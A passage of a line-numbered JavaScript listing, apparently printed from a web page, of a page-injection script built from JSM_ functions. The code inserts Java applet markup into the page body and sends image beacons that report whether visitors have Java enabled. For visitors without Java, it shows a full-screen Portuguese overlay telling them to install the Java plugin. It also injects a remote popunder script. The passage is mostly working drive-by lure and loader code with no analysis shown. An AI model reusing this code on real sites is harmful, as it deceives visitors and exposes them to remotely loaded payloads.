<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 116:</span>         <span style="color: #0000ff">var</span> hBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 117:</span>         <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 118:</span>             <span style="color: #0000ff">var</span> html = JSM_getAppletHtml();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 119:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 120:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 121:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 122:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 123:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 124:</span> <span style="color: #0000ff">function</span> JSM_onInit(hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 125:</span>     <span style="color: #008000">//report access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 126:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 127:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_access);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 128:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 129:</span>     <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 130:</span>         <span style="color: #0000ff">var</span> html = <span style="color: #006080">''</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 131:</span>         <span style="color: #0000ff">if</span> (navigator.javaEnabled()) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 132:</span>             <span style="color: #008000">//java on</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 133:</span>             html = JSM_getAppletHtml() + <span style="color: #006080">' '</span> + JSM_getAppletHtml_X();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 134:</span>             <span style="color: #008000">//report java enabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 135:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 136:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaon);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 137:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 138:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 139:</span>         } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 140:</span>             <span style="color: #008000">//java off</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 141:</span>             <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> window.innerWidth != <span style="color: #006080">'undefined'</span>) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 142:</span>                 viewportwidth = window.innerWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 143:</span>                 viewportheight = window.innerHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 144:</span>             } <span style="color: #0000ff">else</span> <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> document.documentElement != <span style="color: #006080">'undefined'</span> &amp;&amp; <span style="color: #0000ff">typeof</span> document.documentElement.clientWidth != <span style="color: #006080">'undefined'</span> &amp;&amp; document.documentElement.clientWidth != 0) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 145:</span>                 viewportwidth = document.documentElement.clientWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 146:</span>                 viewportheight = document.documentElement.clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 147:</span>             } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 148:</span>                 viewportwidth = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 149:</span>                 viewportheight = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 150:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 151:</span>             <span style="color: #008000">//html = 'java is NOT enabled...';</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 152:</span>             html = <span style="color: #006080">'&lt;div id=&quot;xyz_light_cont&quot; style=&quot;display: none; position: absolute; text-align: center; top: 0; left: 0; width: 103%; height: 103%; z-index: 9002; background: none&quot;&gt;&lt;div id=&quot;xyz_light&quot; style=&quot;display: none; margin: 0 auto; margin-top: 130px; width: 600px; padding: 0;    border: 16px solid #212121; border-top: none; background-color: white; z-index:9003; overflow: auto; font-family: Tahoma; font-size: 11px; color: black; text-align: center;&quot;&gt;&lt;!--&lt;div style=&quot;text-align: left; width: 70%; margin: auto auto; background-color: #fff; border: 1px solid #727272&quot;&gt;--&gt;&lt;div style=&quot;font-weight: bold; font-size: 12px; color: #fff; padding: 12px 8px 8px 4px; background-color: #212121; text-align: left&quot;&gt;Atenção&lt;/div&gt;&lt;div style=&quot;padding: 6px; background-color: #fff&quot;&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;a style=&quot;text-decoration: underline; color: blue&quot; href=&quot;javascript:void(0)&quot; onclick=&quot;document.getElementById(\'xyz_light\').style.display=\'none\';document.getElementById(\'xyz_fade\').style.display=\'none\';document.getElementById(\'xyz_light_cont\').style.display=\'none\'&quot;&gt;Fechar&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;padding-top: 8px; text-align: center&quot;&gt;&lt;img margin: 5px; padding: 0&quot; src=&quot;http://s1.postimage.org/317sn151g/java.jpg&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;padding: 10px 0 25px 0; text-align: center; font-weight: bold&quot;&gt;Você não possui Java ou ele está desabilitado.&lt;br /&gt;Esta página possui recursos que requerem que o Java esteja ativado.&lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.java.com/pt_BR/download/&quot;&gt;Clique aqui para instalar o plugin do Java.&lt;/a&gt;&lt;/div&gt;&lt;!--&lt;/div&gt;--&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;'</span> + <span style="color: #006080">''</span> + <span style="color: #006080">'&lt;div id=&quot;xyz_fade&quot; style=&quot;display: none; position: absolute; top: 0; left: 0; width: '</span> + viewportwidth + <span style="color: #006080">'px; height: '</span> + viewportheight + <span style="color: #006080">'px; background-color: black; z-index: 9001; -moz-opacity: 0.8; opacity: .80; filter: alpha(opacity=80)&quot;&gt;&lt;/div&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 153:</span>             <span style="color: #008000">/**/</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 154:</span>             <span style="color: #008000">//report java disabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 155:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 156:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaoff);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 157:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 158:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 159:</span>             document.getElementById(<span style="color: #006080">'xyz_light_cont'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 160:</span>             document.getElementById(<span style="color: #006080">'xyz_light'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 161:</span>             document.getElementById(<span style="color: #006080">'xyz_fade'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 162:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 163:</span>         hBody.insertBefore(JSM_createScript(jsm_popunder_url), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 164:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 165:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 166:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 167:</span> <span style="color: #0000ff">function</span> JSM_onCreate() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 168:</span>     <span style="color: #0000ff">if</span> (jsm_loaded) <span style="color: #0000ff">return</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 169:</span>     <span style="color: #0000ff">var</span> myBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 170:</span>     <span style="color: #0000ff">if</span> (myBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 171:</span>         jsm_loaded = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 172:</span>         JSM_onInit(myBody);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 173:</span>     } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 174:</span>         setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 100);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 175:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 176:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 177:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 178:</span> <span style="color: #0000ff">function</span> WindowOnload(f) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 179:</span>     <span style="color: #0000ff">var</span> prev = window.onload;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 180:</span>     window.onload = <span style="color: #0000ff">function</span> () {</pre></p>
